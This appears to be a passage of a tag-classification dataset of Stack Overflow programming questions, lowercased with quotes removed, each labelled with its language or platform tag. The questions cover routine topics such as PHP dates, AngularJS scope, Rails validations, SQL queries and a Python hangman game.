 })             }          }          $scope.handlestripecallback = function (response) {             //alert(response.error.message);             $scope.stripchargerequest = true;             $scope.stripepaymentmessage = response.error.message;             $scope.stripepaymentmessageclass =  danger ;         }        }]); </code></pre>   in my view i am trying to handle error or success message with this code   <pre><code>&lt;div ng-show= stripchargerequest  &gt;     &lt;div class= alert alert-{{stripepaymentmessageclass}}  role= alert  &gt;         &lt;button type= button  class= close  data-dismiss= alert  aria-label= close &gt;&lt;span aria-hidden= true &gt;&amp;times;&lt;/span&gt;&lt;/button&gt;         {{stripepaymentmessage}}     &lt;/div&gt; &lt;/div&gt; </code></pre>   my question is: stripchargerequest angular variable contain true / false with normal scope binding but when i am trying to create a token by calling $scope.createtoken() it not works. i guess i am forgetting something  in calling callback function $scope.makepayment(). fortunately it is working in controller s scope. i can see error after stripe request in controller but it is not showing in view. please suggest me the proper way of doing that. thanks in advance.,angularjs
how to get date fields in php   how can i get the value of a date in php  for example i have a date like this:    <code>$date =  2013-01-29 ;</code>    and what i want is to get the year the month and the day and assign it in a variable.    <strong>example:</strong>   <pre><code>$year =  2013 ;  $month =  01 ;  $day =  29 ; </code></pre>   how can i do this,php
why is it i see system.windows.forms.textbox  text: every time i click insert button   every time i click insert this code will insert well but when i open access database this is how it puts on each cell system.windows.forms.textbox  text:  here is my insert code.   <pre><code>private void button1_click(object sender  eventargs e) {     system.data.oledb.oledbconnection conn = new system.data.oledb.oledbconnection();     conn.connectionstring = @ provider=microsoft.ace.oledb.12.0;  +     @ data source= c:\users\user\documents\visual studio 2010\projects\windowsformsapplication1\windowsformsapplication1\crt_db.accdb ;     conn.open();      string my_querry = (@ insert into system (name  address  conperson  scope_of_certification  certification  date_issued                          dateofsurv  dateofrecerti  remark  certi_fee)                  values (   + txtname +       + txtaddress +       + txtconperson +       + txtscoperofcerti +       + txtcertification +       + datetimepicker1.value.tostring( mm/dd/yyyy ) +       + datetimepicker2.value.tostring( mm/dd/yyyy ) +       + datetimepicker3.value.tostring( mm/dd/yyyy ) +       + txtremark +       + txtcertfee +   ) );      oledbcommand cmd = new oledbcommand(my_querry  conn);     cmd.executenonquery();     conn.close(); } </code></pre>,c#
do you have to pay for the iphone sdk for each developer   is there a link to how i can get the 3.0 sdk without having to pay a second time  i m joining another guy at my company on a project.,iphone
i want to know device orientation when the view will appear ios 6  i want to know device orientation  when the view will appear. previously it was possible using the <code>shouldautorotatetointerfaceorientation</code> method but in ios 6 it is deprecated.   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {      if (interfaceorientation==uiinterfaceorientationportrait ||interfaceorientation==uiinterfaceorientationportraitupsidedown ) {         dashbtn.hidden=no;     }     else     {         dashbtn.hidden=yes;         if (self.popovercontrollermain) {             [self.popovercontrollermain dismisspopoveranimated:yes];         }       }     return yes; } </code></pre>   i checked all the  post   i.e making rootviewcontroller and   <pre><code>- (bool)shouldautorotate {     return no; }// this method is not called  - (nsuinteger)supportedinterfaceorientations {     return uiinterfaceorientationmaskportrait; } </code></pre>,iphone
error message:  expected an indented block   so i am trying to code a game and i am trying to connect the different areas of the level.this part of the code is supposed to allow the user to chose were to go in the level but the terminal keeps giving me this error command: <code> expected an indented block </code>.     i have tried to replace all the tabs with four spaces and vice-versa but the error wont go away.     <strong>by the way i do know that after defining a function each line afterwards would be indented four spaces or a tab but this is my first question and i couldn t figure out how to do that here.</strong>   <hr>  <pre><code>def entry_hall():        first = raw_input( go upstairs\ngo forwards\ngo left\nleave\n: )     if first ==  go upstairs  or  upstairs :         print  walking up the stairs           import upstairs_hallway.py     elif first ==  go forwards  or  forwards :         pass     elif first ==  go left  or  left :         pass     elif first ==  leave :         print     you re a cop. you are not a baby. do something else              #restart the script  entry_hall() </code></pre>,python
open window  navigate through it  i know this is possible in perl  but i was wondering if this can be done in php.    what i want to do is open a browser with a window  click to a link in that page  or navigate in the browser  then it has a simple textbox called test  and i want to put text in that box then click submit and all done in php. i know jquery and javascript so i am fine if part of this little project should be done in any of those two. i did some research on it and couldn t find a clear approach to this.    i don t need written code provided for me  i just need an answer with suggestions and if possible  little codes to do some tricks.    thanks in advance.    -g,php
accessing of iphone library books into our application in ipad  i am developing an application which is basically a book reader app.    what i want is  should be able download a book from the gutenberg site into iphone book library and when ever my application opens i need to scan the native ibooks library and show all the books list  kind of showing the adressbook.    is it possible to scan the iphone ibook library and get all the available books in the device     please give your valuable suggestions.    thank you in advance.,iphone
what is best option to store multiple items from related entity before saving form  i have asp.net page with form  add student  which is data-bound to students table. user can select many languages (from drop-down bound to languages table) that this user speak and add them to list/grid. after saving whole form  all values are saved to tables students and related studentlanguages. my problem is that before saving form  there can be multiple postbacks (adding language  validation  etc) and i need to store so far selected languages somewhere. i cannot store them in the table studentlanguages because a student record does not exist yet. what is the best option  using page property languageslist and adding it to session object every postback,asp.net
php write file from input to txt  i ve searched around this site for an answer but couldnt find any.    i have a form and i d like to get the contents of the input written into a txt file. to make it simple i just wrote a simple form and a script but it keeps getting me a blank page. here is what i got   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;form&gt;         &lt;form action= myprocessingscript.php  method= post &gt;         &lt;input name= field1  type= text  /&gt;         &lt;input name= field2  type= text  /&gt;         &lt;input type= submit  name= submit  value= save data &gt;     &lt;/form&gt;     &lt;a href= data.txt &gt;text file&lt;/a&gt; &lt;/body&gt; </code></pre>       and here is my php file   <pre><code>&lt; php $txt =  data.txt ;  $fh = fopen($txt   w+ );  if (isset($_post[ field1 ]) &amp;&amp; isset($_post[ field2 ])) { // check if both fields are set    $txt=$_post[ field1 ].  -  .$_post[ field2 ];     file_put_contents( data.txt  $txt. \n  file_append); // log to data.txt     exit(); }     fwrite($fh $txt); // write information to the file     fclose($fh); // close the file      &gt; </code></pre>,php
how to convert nan value in csv file to 0  <pre><code> while (scan.hasnext()){         string line = scan.nextline();         scan.hasnextline();         line = line.trim();         int countwhitespace = line.length() - line.replaceall(       ).length();           if (line.length() &gt;0){             int k = -1;             int j = -1;              k = -1;             while (true){                    k = line.indexof(nan  k+1);                 if (k&lt;0) break;                 string result = nan.replaceall( nan   value);             }          }     } </code></pre>  <ul> <li>i have a csv file and include of nan value.</li> <li>i want to read this file and change nan to 0.</li> <li>how can i solve it </li> </ul>   thank you.,java
visualizing tabulator symbol in a html page  i would like to be able to make tabulator symbols visible in pre area in html. for example to make space visible i replace it with  ·  . for tabulator i would like to see a tiny arrow or similar.    any ideas how i can do that,html
android find all hardcoded strings in code using android studio  i want to find all hard-coded strings in my code to move them into <code>strings.xml</code> file <strong>for future localization</strong>. such as :   <pre><code>toast.maketext(context  hardcoded text  length_short).show(); </code></pre>   i using android studio.,android
multiple file programs: cpp via nppexec (notepad ++ plugin)  <strong>learning c++  using headerfiles and forward declaration of functions.</strong>    <em>file 1:</em> readnum.cpp   <blockquote> <pre><code>#include&lt;iostream&gt; using namespace std; int readnumber() {     int x;     cout &lt;&lt;  enter a number:  ;     cin &gt;&gt;  x;     return x; } </code></pre> </blockquote>   <em>file 2:</em> writeanswer.cpp   <blockquote> <pre><code>#include&lt;iostream&gt; using namespace std; void writeanswer (int ans) {     cout &lt;&lt;  the answer is:   &lt;&lt; ans &lt;&lt; endl; } </code></pre> </blockquote>   <em>file 3:</em> add.cpp   <blockquote> <pre><code>#include&lt;iostream&gt; using namespace std; int add (int x  int y) {     return x+y; }    </code></pre> </blockquote>   <strong>header</strong>    <em>file 4:</em> task1.h       <blockquote> <pre><code>#ifndef task1_h #define task1_h int readnumber (); void writeanswer (int); int add (int  int); #endif </code></pre> </blockquote>   <em>file 5:</em> main.cpp   <blockquote> <pre><code>#include&lt;iostream&gt; #include task1.h  using namespace std; int main() {     int x = readnumber();     int y = readnumber();     writeanswer(add(x y));     cin.get();            // halting the prompt window     cin.ignore();         // halting the prompt window     return 0; } </code></pre> </blockquote>   all files are in same folder. <strong>also the following code will compile and display correctly.</strong>   <blockquote> <pre><code>#include&lt;iostream&gt; #include writeanswer.cpp  #include readnumber.cpp  #include add.cpp  using namespace std; int main() {     int x = readnumber();     int y = readnumber();     writeanswer(add(x y));     cin.get();              // halt prompt window     cin.ignore();     return 0; }    </code></pre> </blockquote>   does anyone know why the .h file wont forward declare the functions     is it maybe because the files are not included in a project (i.e. not using codeblocks or visual type ide),c++
conversion of date format into yyyy-mm-dd format  i want to convert the date format in my page.     in asp.net  how to convert this date format:   <pre><code>3/1/2015 12:00:00 am (mm-dd-yyyy) </code></pre>   into:   <pre><code>2015-01-03 (yyyy-mm-dd) </code></pre>,.net
date format in asp.net  in my database i stored date in the format  yyyy-mm-dd  i need to compare the stored dates with the current date. but how can i get the current date in the above format in asp.net.,asp.net
uitextfield and webservice  i have one query regarding the (uitextfield and webservice) for example    when i start writing text in uitextfield. make sure  the app does not query the server(webservice) for each letter typed. it should wait till i make a pause and then send the request.    is this possible to when using of uitextfield     thanks in advance,iphone
changing business rule validations over time in rails  several times i ve been in a situation where we have a model with a business-driven validation such as:   <pre><code>class order &lt; activerecord::base   validates_numericality_of :total  :greater_than =&gt; 5.0    # some more logic end </code></pre>   at some point  the boss man decides that the new minimum order should be $10  so we update the validation to 10.  however  this means that any existing orders with values between $5 and $10 will no longer validate  and any logic where i call order.save() will begin to fail (sometimes unpleasantly silently).  i ve run into this many times in a largish shipping rails app  and haven t found a good solution yet.  some ideas:   <ol> <li>ensure that there are no pending  orders  that will be affected when the code change is rolled out</li> <li>add an <code>:if =&gt; proc.new { |o| o.created_at.nil  or o.created_at &gt; date_new_validation_is_effective }</code> to the new validation  but certain this quickly becomes unwieldy</li> <li> validate  business rules somewhere else  such as the controllers where user-specified input is accepted  rather than as model validations.  but this violates the fat model/skinny controller principle that has many proponents in rails.</li> </ol>   is there a different approach for integrating this logic  or keeping a strategy like #2 manageable in the long run,ruby-on-rails
python hangman problems  so i have my hangman almost working however  it is only placing the first correct guess on the first line  and not continuing if i guess the second letter correctly. also  no matter what letter i guess  it always draws the head on the third letter guessed. i have it narrowed down to my getguesslocationinpuzzle function  where my index is always printing out zero even if i have guessed my second letter. i ve been staring at this code for 2 and 1/2 hours  and can t solve it. please help!   <pre><code>    import statements     from graphics import * import copy import random import string  def drawgallows(window):     gallows = rectangle(point(300 280) point(200 300))     gallows.draw(window)     gallows = line(point(250 300) point(250 100))     gallows.draw(window)     gallows = line(point(250 100) point(120 100))     gallows.draw(window)     gallows = line(point(120 100) point(120 120))     gallows.draw(window)  def getpuzzle():     fh = open( puzzle.txt   r )     filelist = fh.read()     files = string.split(filelist)     puzzle = random.choice(files)     return puzzle   def drawpuzzle(length  window):     lines = line(point(15 275) point(25 275))     for index in range(length):         newline = copy.copy(lines)         newline.move(20 0)         newline.draw(window)  def getguess(entry  window):        letter = entry.gettext()     return letter     def getvalidguess(validguesses  entry  window):     guess = getguess(entry  window)     for index in validguesses:         if guess == index:             return guess       def createtextoverlay(guess):     textstring =        num = ord(guess)     for index in range(num - ord( a )):         textstring = textstring +         textstring= textstring + guess     for index in range(25-(ord(guess)-ord( a ))):         textstring = textstring+         overlay = text(point(150  375)  textstring)     overlay.setface( courier )     overlay.setfill( red )     return overlay  def updategallows(numwrongguesses  window):     if numwrongguesses==1:         head = circle(point(120 140) 20)         head.draw(window)     if numwrongguesses==2:         body = line(point(120 220) point(120 160))         body.draw(window)     if numwrongguesses==3:         arms1 = line(point(100 200) point(120 160))         arms1.draw(window)     if numwrongguesses==4:         arms2 = line(point(120 160) point(140 200))         arms2.draw(window)     if numwrongguesses==5:         leg1 = line(point(120 220) point(100 250))         leg1.draw(window)     if numwrongguesses==6:         leg2 = line(poin(120 220) point(140 250))         leg2.draw(window)  def updatepuzzledisplay(locations  letter  window):     # for each value in the locations list  print out the letter above the     # appropriate blank space.     # for each value in locations list  create a text object.      locationonspaces = 35     for index in locations:         locationonspaces = locationonspaces + 5         letterthatisguessed = text(point(locationonspaces  265 )  letter)         letterthatisguessed.draw(window)          # create text object  def getguesslocationinpuzzle(puzzle  guess):     word = len(puzzle)     locations = []     for index in range(word):         if puzzle[index]==guess:             locations.append(index)         print guess         print index         return locations   def main():       window = graphwin( hangman final   400  400)     drawgallows(window)      letterstoguess = text(point(150  375)   abcdefghijklmnopqrstuvwxyz )     letterstoguess.setface( courier )     letterstoguess.draw(window)      guessinput = entry(point(250  325)  10)     guessinput.draw(window)       puzzle = getpuzzle()     print puzzle     length = len(puzzle)     drawpuzzle(length window)      guess = getguess(guessinput window)     window.getmouse()      validguesses = [ a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   y   z ]      numwrongguesses=0      while true:         guess = getvalidguess (validguesses guessinput window)         #print guess         window.getmouse          locations = getguesslocationinpuzzle(puzzle guess)  #       print locations         if locations == []:             overlay = createtextoverlay(guess)             overlay.draw(window)              updategallows(numwrongguesses window)              numwrongguesses = numwrongguesses + 1         else:             updatepuzzledisplay(locations  guess  window)             overlay = createtextoverlay(guess)             overlay.draw(window)         if guess !=0:             validguesses.remove(guess)         window.getmouse()        window.getmouse()    main() </code></pre>,python
does this function change the size of the array   so i am starting to learn c. i am learning from the classic k&amp;r book. in the book they have the following function:   <pre><code>/*squeeze: delete all c from s */ void squeeze(char s[]  int c) {     int i  j;      for (i = j = 0; s[i] !=  \0 ; i++)         if (s[i] != c)             s[j++] = s[i];     s[j] =  \0 ; } </code></pre>   my question is this: does squeeze() actually change the number of chars in s[]  it seems that all it does is  cut off  the rest of the string by adding the null character. do other values exist past the  \0  in the array,c
search address in apple map  i want to open apple map by tapping on address. if user clicks on address field it should be redirected to apple maps. address field is string. there is no latitude or longitude. i don t want current location to be searched.,ios
android: any-screen capture without root and constant usb connection  i m trying to make an app that takes a video capture of the screen by taking individual snapshots. i ve been looking into taking the snapshot without root  and seems that most solutions use ddmlib and require the device to be constantly connected via usb.     the only solution that doesn t require root and a constant usb connection is the android screenshot library. however  from the forum comments as well as my experience with the demo app  this library doesn t work very reliably/consistently.    is there any other solution      note: i ve also looked at the noroot screenshotit app (<a href= https://play.google.com/store/apps/details id=com.edwardkim.android.screenshotitfullnoroot&amp;hl=en  rel= nofollow >https://play.google.com/store/apps/details id=com.edwardkim.android.screenshotitfullnoroot&amp;hl=en</a>)  and seem like they have a similar approach to the android screenshot library  but have no idea how they make it more reliable. if anyone has an idea  that would be helpful as well.    thanks    edit: we ve already got the usb-connected implementation  but we want to be able to do it on the device alone  without needing any connection to another pc.,android
avoid data for being inserted into new rows in mysql database  i have saved a source code .ccp type file under column  file  in file_details table in a mysql database. it is done not by using a program but by directly inserting through localhost/phpmyadmin interface. the type of the data field is blob. then by accessing saved codes i am calculating the number of spaces of each source codes and i want to insert the values to the database column called  spaces  in the same table. here i have given the query that i used.    <pre><code>        statement stmt = conn.createstatement();         statement count_to_db=conn.createstatement();          string query =  select prog_num file from file_details ;          resultset rs = stmt.executequery(query);         while (rs.next()) {               string file_content = rs.getstring( file );              calculatingspaces calspaces = new calculatingspaces();             string num_of_spaces= calspaces.calculatingspaces(rs  pw  file_content);             int spaces=integer.parseint(num_of_spaces);             string space_query= insert into file_details(spaces) values (  +spaces+  ) ;            count_to_db.executeupdate(space_query);           }  </code></pre>   but when i am inserting the spaces they are inserted to a new row but not for the same row where i have uploaded the blob files. is there any way to insert the number of spaces in-front of the blob files which spaces related to.       ps : so the problem is can t i insert data column by column to a database,mysql
asp.net 4.0 gridview to show display attribute value  i have been displaying list of some class in gridview with autogeneratecolumns = true.    the class has nearly 70+ properties.    now i need to change the column header of the gridview. for example  class has property called  productname  but in the gridview i just need to show  name .    one way is to remove autogeneratecolumns and denote everything as boundfield. but it is too much of manual coding... rather a data entry!    i was thinking to use display attribute of the class property to be shown as the header column in gridview.    <pre><code>[display(name= product )] public string prodcutname { get; set;} </code></pre>   is there any way to use display attribute in gridview     also suggest something else also...,asp.net
json to nsdictionary - how to check the boolean type  i get json from site using this code:   <pre><code>+(nsdictionary *)parsejsonfromurlstring:(nsstring *)urlstring {     nsurl *url = [nsurl urlwithstring:urlstring];     nsstring *jsonasstring = [nsstring stringwithcontentsofurl:url                                                       encoding:nsutf8stringencoding                                                          error:nil];     nsdata *json = [jsonasstring datausingencoding:nsutf8stringencoding];      return [nsjsonserialization jsonobjectwithdata:json options:0 error:nil]; } </code></pre>   when i am calling this method and debugging:   <pre><code>nsdictionary *response = [apiutils parsejsonfromurlstring:[querybuilder questionsfromtime:time withpagesize:100 withpage:1]]; </code></pre>   i can look at jsonasstring variable in the parsejsonfromurlstring (nsstring) method i can see the element  has_more  with value true:   <pre><code>  ...   has_more :true  .... </code></pre>   but if i look at responsevariable (nsdictionary) i see next picture:    <img src= https://i.stack.imgur.com/p7inh.png  alt= enter image description here >    the value have __nscfboolean type and 0x7fff79d377f0 value.    how can i convert this type to bool and check it as true or false,objective-c
how to pass json object in one way binding to directive angularjs  i need to pass object to angularjs directive but i cannot use &amp; or = for binding. i tried converting string to object using | json filter and creating temporary variable. still conversion does not work how do i proceed. thanks in advance,angularjs
how to convert a string in hexadecimal string  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3381614/c-convert-string-to-hexadecimal-and-vice-versa >c++ convert string to hexadecimal and vice versa</a>    </blockquote>     trying this sample code which i found in stackoverflow...   <pre><code>std::string text =  ¯ ; // af in hex ascii.  std::ostringstream result;   result &lt;&lt; std::setw(2) &lt;&lt; std::setfill( 0 ) &lt;&lt; std::hex &lt;&lt; std::uppercase;   std::copy(text.begin()  text.end()  std::ostream_iterator&lt;unsigned int&gt;(result     ));   </code></pre>   result.str() will be  ffffffaf  instead of just  af     what can i do     my text can have more than one character  like that: text =  ¯abcè ; // af414243c8 the result after  convertion  is: ffffffaf414243ffffffc8.    .    well  i solved it with a replace... it s not a good practice in this case  but solved.   <pre><code>                    if(value &gt; 6)                     {   //replace                         std::string&amp; str = stringlist2[count];                         const std::string&amp; from =  ffffff ;                         const std::string&amp; to =   ;                         size_t j;                         for ( ; (j = stringlist2[count].find( from )) != string::npos ; ) {                             stringlist2[count].replace( j  from.length()  to );                         }                     } </code></pre>,c++
asp.net response.write inside an ascx/aspx file <pre><code>&lt;%if (canremove) response.write( &lt;b&gt; +productname+ &lt;/b&gt; ); %&gt; </code></pre>   this code strikes me as ugly.  more specifically  any time i see a call to response.write inside an ascx or aspx file  i get suspicious that i m doing something wrong.  perhaps this is due to previously working with xslt and noticing that when done right  there is rarely a need for <code>&lt;xsl:text&gt;</code> element in order to generate html.  i feel like it interferes with my ability to read the code when my html code is hidden inside a <code>&lt;% %&gt;</code> block.    is this just something i need to get used to with asp.net or is there a better way to do it,asp.net
sql statement select constraints  i have a table like the following   <pre><code>table_fruit:  account_id    fruit 1             apple 1             banana 2             apple 2             orange 2             banana 3             apple </code></pre>   i m trying to make a list of everyone that has an apple and no other fruit    this seems like an easy idea but its passing me right now...,mysql
accept zipped filetypes in html input field  i have the following line in my html:   <pre><code>&lt;input type= file  nv-file-select multiple=   uploader= uploader  accept= .vcf  .vcf.gz /&gt; </code></pre>   when submitting a file through this  it only allows files that are  .vcf   not the gzipped ones. can t find anything online pertaining to this issue.,html
deep linking into a storyboard with the correct backstack  i would like to create a  deep link  into my storyboard while preserving the backstack (back button navigation).    ex:    given the storyboard below (entry point being the leftmost navigation controller)    <a href= https://i.stack.imgur.com/nnvqf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nnvqf.png  alt= storyboard ></a>     when my application is opened via a remote notification i would like to open the second tab in by tab controller and be able to navigate back to the item list via the back button.    please note that i am not asking about how to open the second tab  or how to create such a storyboard but specifically if there is a way to do this with storyboards or will i have to do it by code.    thanks!    ps: i come from an android background where one recreates the parent view controller manually or (better) inserts it into the backstack. as far as my research goes there is no such thing in ios. i m hoping i m wrong.,ios
assigning values from a cell to another <pre><code>int rowscount = 0; //this checks to see that both textbox for items and subitems do not gain focus at the same time if (textboxsubitems.text != string.empty)     txtitems.enabled = false; else      txtitems.enabled = true; if (comboboxitems.selecteditem != null) {      int idx = datagridviewtimesheet.rows.add();     datagridviewrow row = datagridviewtimesheet.rows[idx];     row.cells[ items ].value = comboboxitems.selecteditem.tostring() +  -  + textboxsubitems.text;     row.cells[ fromtime ].value = datetime.now.tolongtimestring();     row.cells[ totime ].value = null;     row.cells[ duration ].value = null;     row.cells[ subtotal ].value = null;     // row.cells[ comments ].value =  1 ; } else      messagebox.show( please select an item );  string strgetcolumnvalue; if (datagridviewtimesheet.rows.count != 0)     rowscount = datagridviewtimesheet.rows.count; else     messagebox.show( no row in the datagridview ); while (datagridviewtimesheet.rows.count &gt; 0) {     try     {         if (datagridviewtimesheet.currentrow != null)             for (int counter = 0; counter &lt; datagridviewtimesheet.columns.count; counter++)             {                 if (datagridviewtimesheet.columns[counter].index == 3)                 {                     strgetcolumnvalue = datagridviewtimesheet.rows[rowscount].cells[counter].value.tostring();                     datagridviewtimesheet.rows[rowscount - 1].cells[3].value = strgetcolumnvalue;                 }             }     }     catch (exception ex)     {         messagebox.show(ex.tostring());     } } </code></pre>   please i have 6 columns in a datagridview  the rows are added dynamically. what i want is when rows are more than one in the datagridview it should assign the value of the second column on the current(the last row created) row to the third column of the previous row. how do i achieve this.,c#
how to combine three select statements with very tricky requirements  i have a sql query with three select statements.  a picture of the data tables generated by these three select statements is located at www.britestudent.com/pub/1.png.  each of the three data tables have identical columns. i want to combine these three tables into one table such that:    (1) all rows in top table (table1) are always included.    (2) rows in the middle table (table2) are included only when the values in column1 (username) and column4 (coursename) do not match with any row from table1.  both columns need to match for the row in table2 to not be included.    (3) rows in the bottom table (table3) are included only when the value in column4 (coursename) is not already in any row of the results from combining table1 and table2.    i have had success in implementing (1) and (2) with an sql query like this:   <pre><code>select distinct     username as username      max(amountused) as amountused      max(answeredcorrectly) as answeredcorrectly      coursename      max(course_code) as course_code      max(noofquestionsincourse) as noofquestionsincourse      max(noofquestionsetsincourse) as noofquestionsetsincourse from     (  select statement 1   union   select statement 2  ) dt_derivedtable_1  group by coursename  username </code></pre>   where  select statement 1  is the query that generates table1 and  select statement 2  is the query that generates table2.  a picture of the data table generated by this query is located at www.britestudent.com/pub/2.png.  i can get away with using the max() function because values in the amountused and answeredcorrectly columns in table1 will always be larger than those in table2 (and they are identical in the last three columns of both tables).    what i fail at is implementing (3).  any suggestions on how to do this will be appreciated.  it is tricky because the username values in table3 are null  and because the coursename values in the combined table1 and table2 results are not unique (but they are unique in table3).    after implementing (3)  the final table should look like the table in picture 2.png with the addition of the last row from table3 (the row with the coursename value starting with  4. klasse...     i have tried to implement (3) using another derived table using select  max() and union  but i could not get it to work.  below is my full sql query with the lines from this failed attempt to implement (3) commented out.    cheers  frederick    ps--i am new to this forum (and new to sql as well)  but i have had more of my previous problems answered by reading other people s posts on this forum than from reading any other forum or web site.  this forum is a great resources.   <pre><code>--  select distinct max(username)  max(amountused) as amountused  max(answeredcorrectly) as answeredcorrectly  coursename  max(course_code) as course_code  max(noofquestionsincourse) as noofquestionsincourse  max(noofquestionsetsincourse) as noofquestionsetsincourse --  from (                  select distinct username as username  max(amountused) as amountused  max(answeredcorrectly) as answeredcorrectly  coursename  max(course_code) as course_code  max(noofquestionsincourse) as noofquestionsincourse  max(noofquestionsetsincourse) as noofquestionsetsincourse                 from (                          -- table 1 - all useraccount/course combinations that have had quizzez.                         select distinct dbo.win_user.user_name as username                                           cast(dbo.getamountused(dbo.session_header.win_user_id  dbo.course.course_id  dbo.course.no_of_questionsets_in_course) as nvarchar(10)) as amountused                                           isnull(cast(dbo.getanswercorrectly(dbo.session_header.win_user_id  dbo.course.course_id  dbo.question_set.no_of_questions) as nvarchar(10)) 0) as answeredcorrectly                                           dbo.course.course_name as coursename                                           dbo.course.course_code                                          dbo.course.no_of_questions_in_course as noofquestionsincourse                                           dbo.course.no_of_questionsets_in_course as noofquestionsetsincourse                         from            dbo.session_detail                                          inner join dbo.session_header on dbo.session_detail.session_header_id = dbo.session_header.session_header_id                                         inner join dbo.win_user on dbo.session_header.win_user_id = dbo.win_user.win_user_id                                         inner join dbo.win_user_course on dbo.win_user_course.win_user_id = dbo.win_user.win_user_id                                         inner join dbo.question_set on dbo.session_header.question_set_id = dbo.question_set.question_set_id                                         right outer join dbo.course on dbo.win_user_course.course_id = dbo.course.course_id                         where           (dbo.session_detail.no_of_attempts = 1 or dbo.session_detail.no_of_attempts is null)                                         and (dbo.session_detail.is_correct = 1 or dbo.session_detail.is_correct is null)                                         and (dbo.win_user_course.is_active =  true )                         group by        dbo.win_user.user_name  dbo.course.course_name  dbo.question_set.no_of_questions  dbo.course.no_of_questions_in_course                                           dbo.course.no_of_questionsets_in_course  dbo.session_header.win_user_id  dbo.course.course_id  dbo.course.course_code                      union all                          -- table 2 - all useraccount/course combinations that do or do not have quizzes but where the course is selected for quizzes for that user account.                         select          dbo.win_user.user_name as username                                           -1 as amountused                                           -1 as answeredcorrectly                                           dbo.course.course_name as coursename                                           dbo.course.course_code                                          dbo.course.no_of_questions_in_course as noofquestionsincourse                                           dbo.course.no_of_questionsets_in_course as noofquestionsetsincourse                         from            dbo.win_user_course                                         inner join dbo.win_user on dbo.win_user_course.win_user_id = dbo.win_user.win_user_id                                         right outer join dbo.course on dbo.win_user_course.course_id = dbo.course.course_id                         where           (dbo.win_user_course.is_active =  true )                         group by        dbo.win_user.user_name  dbo.course.course_name  dbo.course.no_of_questions_in_course                                           dbo.course.no_of_questionsets_in_course  dbo.course.course_id  dbo.course.course_code                  ) dt_derivedtable_1                   group by coursename  username  --      union all              -- table 3 - all courses. --          select distinct null as username  --                          -2 as amountused   --                          -2 as answeredcorrectly   --                          dbo.course.course_name as coursename  --                          dbo.course.course_code  --                          dbo.course.no_of_questions_in_course as noofquestionsincourse   --                          dbo.course.no_of_questionsets_in_course as noofquestionsetsincourse --          from            dbo.course --          where           is_active =  true    --  ) dt_derivedtable_2   --  group by coursename --  order by coursename </code></pre>,sql
how to pass an instance variable into a view partial   right now i have a loop that contains code i do not wish to repeat for each instance variable. i wish to put this in a partial and reuse it by changing the <strong>@new_posts</strong> instance variable  so i can use the same template for  @featured_posts and @recommended_posts that i have defined.     i m thinking of something like this:   <pre><code>&lt;%= render  posts   posts: @featured_posts %&gt; </code></pre>   an example of a loop that i wish to store in a partial   <pre><code>&lt;% @new_posts.each do |post| %&gt; &lt;div class= col-sm-4 &gt;  &lt;div class= thumbnail &gt;  &lt;img src= # &gt;  &lt;div class= caption &gt;    &lt;h4&gt;&lt;%= link_to post.title  post %&gt;&lt;/h4&gt;    &lt;%= post.text.truncate_words(60  omission:  ... ) %&gt;    &lt;a href= #  class= btn btn-default btn-xs  role= button &gt;button&lt;/a&gt;    &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>   how should i approach this  thanks for your help!,ruby-on-rails
case q can t be resolved to a variable  making a program using <code>case</code> and the cases are <code>1</code>  <code>2</code> and <code>q</code>.    cases <code>1</code> and <code>2</code> work fine  but case <code>q</code> which is used to exit the program can t be resolved to a variable (<code>q cannot be resolved to a variable</code>)    code snippet to follow:   <pre><code>        system.out.print( -- menu -- \n );         system.out.print( 1: display journeys \n );         system.out.print( 2: identify suitable journeys \n );         system.out.print( q: quit \n );         system.out.print( pick an option:  );          int option = console.nextint();          switch(option) {             case 1:                  while(input.hasnextline()) {                     system.out.println(input.nextline());                 }                break;               case 2:                      system.out.print( specify desired location:  );                     string destination = console.next();                      system.out.print( specify max time (hh:mm):  );                     string choice = console.next();                      // save the index of the colon                     int colon = choice.indexof( : );                      // strip the hours preceding the colon then convert to int                     int givenhours = integer.parseint(choice.substring(0  colon));                     // strip the mins following the colon then convert to int                     int givenmins = integer.parseint(choice.substring(colon + 1  choice.length()));                      // calculate the time s total mins                     int maxmins = (givenhours * 60) + givenmins;                      system.out.print( specify maximum changes:  );                     int maxchange = console.nextint();                      // gui spacing                     system.out.println();                      // skips the first line which is york                     input.nextline();                        int mins = input.nextint();                     int change = input.nextint();                      if ((mins &gt; maxmins) || ((change &gt; maxchange)) &amp;&amp; (destination.equals( york ) || destination.equals( alnwick ))) {                         system.out.format( time: %02d:%02d  changes: %d = unsuitable \n   (mins / 60)  (mins % 60)  change);                     }                     else {                         system.out.format( time: %02d:%02d  changes: %d = suitable \n   (mins / 60)  (mins % 60)  change);                     }                     //do stuff                 break;               case q:                  system.exit(0); </code></pre>,java
send/receive data via url-string in an wifi network  i have an ios application where many ios-devices  much more than seven  shall send data to an ipad via a private wifi network. i want to do this as easy as possible  without security  i.e. sending the data like this: ´<a href= http://ip_address/ >http://ip_address/</a>$data´ =>  <a href= http://192.168.1.25/  rel= nofollow >http://192.168.1.25/</a>$09963 kv . i know how to send the data this way  but i don´t know how to make the ipad receive the $data.  if i have i.e. 40 senders i hope to read the data into an array and then analyse them as soon as possible... hope that someone can help me.,ios
